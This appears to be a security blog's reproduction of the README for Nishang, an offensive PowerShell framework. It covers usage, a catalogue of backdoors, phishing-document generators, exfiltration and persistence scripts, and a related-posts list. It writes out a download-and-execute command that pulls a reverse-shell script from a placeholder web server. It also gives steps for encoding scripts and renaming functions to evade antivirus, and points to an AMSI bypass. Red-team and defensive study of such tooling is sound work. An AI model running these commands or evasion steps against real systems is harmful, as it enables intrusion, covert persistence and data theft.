Nishang : Offensive PowerShell For Red Team, Penetration Testing & Offensive Security

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.

Usage

Import all the scripts in the current PowerShell session (PowerShell v3 onwards).

PS C:\nishang> Import-Module .\nishang.psm1

Use the individual scripts with dot sourcing.

PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information

To get help about any script or function, use:

PS C:\nishang> Get-Help [scriptname] -full

Note that the help is available for the function loaded after running the script and not the script itself since version 0.3.8. In all cases, the function name is same as the script name.

For example, to see the help about Get-WLAN-Keys.ps1, use

PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full

Anti Virus

Nishang scripts are flagged by many Anti Viruses as malicious. The scrripts on a target are meant to be used in memory which is very easy to do with PowerShell. Two basic methods to execute PowerShell scripts in memory:

Method 1. Use the in-memory dowload and execute: Use below command to execute a PowerShell script from a remote shell, meterpreter native shell, a web shell etc. and the function exported by it. All the scripts in Nishang export a function with same name in the current PowerShell session.

powershell iex (New-Object Net.WebClient).DownloadString(‘http://<yourwebserver>/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]

Method 2. Use the -encodedcommand (or -e) parameter of PowerShell All the scripts in Nishang export a function with same name in the current PowerShell session. Therefore, make sure the function call is made in the script itself while using encodedcommand parameter from a non-PowerShell shell. For above example, add a function call (without quotes) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".

Encode the scrript using Invoke-Encode from Nishang:

PS C:\nishang> . \nishang\Utility\Invoke-Encode

PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand

  • Encoded data written to .\encoded.txt
  • Encoded command written to .\encodedcommand.txt

From above, use the encoded script from encodedcommand.txt and run it on a target where commands could be executed (a remote shell, meterpreter native shell, a web shell etc.). Use it like below:

C:\Users\target> powershell -e [encodedscript]

If the scripts still get detected changing the function and parameter names and removing the help content will help.

In case Windows 10’s AMSI is still blocking script execution, see this blog: http://www.labofapenetrationtester.com/2016/09/amsi.html

Also Read – Clipboardme : Grab & Inject Clipboard Content By Link

Scripts

Nishang currently contains the following scripts and payloads.

Active Directory

Antak – the Webshell

  • Antak
    • Execute PowerShell scripts in memory, run commands, and download and upload files using this webshell.

Backdoors

  • HTTP-Backdoor
    • A backdoor which can receive instructions from third party websites and execute PowerShell scripts in memory.
  • DNS_TXT_Pwnage
    • A backdoor which can receive commands and PowerShell scripts from DNS TXT queries, execute them on a target, and be remotely controlled using the queries.
  • Execute-OnTime
    • A backdoor which can execute PowerShell scripts at a given time on a target.
  • Gupt-Backdoor
    • A backdoor which can receive commands and scripts from a WLAN SSID without connecting to it.
  • Add-ScrnSaveBackdoor
    • A backdoor which can use Windows screen saver for remote command and script execution.
  • Invoke-ADSBackdoor
    • A backdoor which can use alternate data streams and Windows Registry to achieve persistence.
  • Add-RegBackdoor
    • A backdoor which uses well known Debugger trick to execute payload with Sticky keys and Utilman (Windows key + U).
  • Set-RemoteWMI
    • Modify permissions of DCOM and WMI namespaces to allow access to a non-admin user.
  • Set-RemotePSRemoting
    • Modify permissions of PowerShell remoting to allow access to a non-admin user.

Bypass

Client

  • Out-CHM
    • Create infected CHM files which can execute PowerShell commands and scripts.
  • Out-Word
    • Create Word files and infect existing ones to run PowerShell commands and scripts.
  • Out-Excel
    • Create Excel files and infect existing ones to run PowerShell commands and scripts.
  • Out-HTA
    • Create a HTA file which can be deployed on a web server and used in phishing campaigns.
  • Out-Java
    • Create signed JAR files which can be used with applets for script and command execution.
  • Out-Shortcut
    • Create shortcut files capable of executing PowerShell commands and scripts.
  • Out-WebQuery
    • Create IQY files for phishing credentials and SMB hashes.
  • Out-JS
    • Create JS files capable of executing PowerShell commands and scripts.
  • Out-SCT
    • Create SCT files capable of executing PowerShell commands and scripts.
  • Out-SCF
    • Create a SCF file which can be used for capturing NTLM hash challenges.

Escalation

Execution

  • Download-Execute-PS
    • Download and execute a PowerShell script in memory.
  • Download_Execute
    • Download an executable in text format, convert it to an executable, and execute.
  • Execute-Command-MSSQL
    • Run PowerShell commands, native commands, or SQL commands on a MSSQL Server with sufficient privileges.
  • Execute-DNSTXT-Code
    • Execute shellcode in memory using DNS TXT queries.
  • Out-RundllCommand
    • Execute PowerShell commands and scripts or a reverse PowerShell session using rundll32.exe.

Gather

MITM

Pivot

Prasadhak

  • Prasadhak
    • Check running hashes of running process against the VirusTotal database.

Scan

Powerpreter

  • Powerpreter
    • All the functionality of nishang in a single script module.

Shells

Utility

  • Add-Exfiltration
    • Add data exfiltration capability to Gmail, Pastebin, a web server, and DNS to any script.
  • Add-Persistence
    • Add reboot persistence capability to a script.
  • Remove-Persistence
    • Remote persistence added by the Add-Persistence script.
  • Do-Exfiltration
    • Pipe (|) this to any script to exfiltrate the output.
  • Download
    • Transfer a file to the target.
  • Parse_Keys
    • Parse keys logged by the keylogger.
  • Invoke-Encode
    • Encode and compress a script or string.
  • Invoke-Decode
    • Decode and decompress a script or string from Invoke-Encode.
  • Start-CaptureServer
    • Run a web server which logs Basic authentication and SMB hashes.
  • ConvertTo-ROT13
    • Encode a string to ROT13 or decode a ROT13 string.
  • Out-DnsTxt
    • Generate DNS TXT records which could be used with other scripts.
  • [Base64ToString]
  • [StringToBase64]
  • [ExetoText]
  • [TexttoExe]
R K

Recent Posts

Kali Linux 2024.4 Released, What’s New?

Kali Linux 2024.4, the final release of 2024, brings a wide range of updates and…

19 hours ago

Lifetime-Amsi-EtwPatch : Disabling PowerShell’s AMSI And ETW Protections

This Go program applies a lifetime patch to PowerShell to disable ETW (Event Tracing for…

19 hours ago

GPOHunter – Active Directory Group Policy Security Analyzer

GPOHunter is a comprehensive tool designed to analyze and identify security misconfigurations in Active Directory…

3 days ago

2024 MITRE ATT&CK Evaluation Results – Cynet Became a Leader With 100% Detection & Protection

Across small-to-medium enterprises (SMEs) and managed service providers (MSPs), the top priority for cybersecurity leaders…

5 days ago

SecHub : Streamlining Security Across Software Development Lifecycles

The free and open-source security platform SecHub, provides a central API to test software with…

1 week ago

Hawker : The Comprehensive OSINT Toolkit For Cybersecurity Professionals

Don't worry if there are any bugs in the tool, we will try to fix…

1 week ago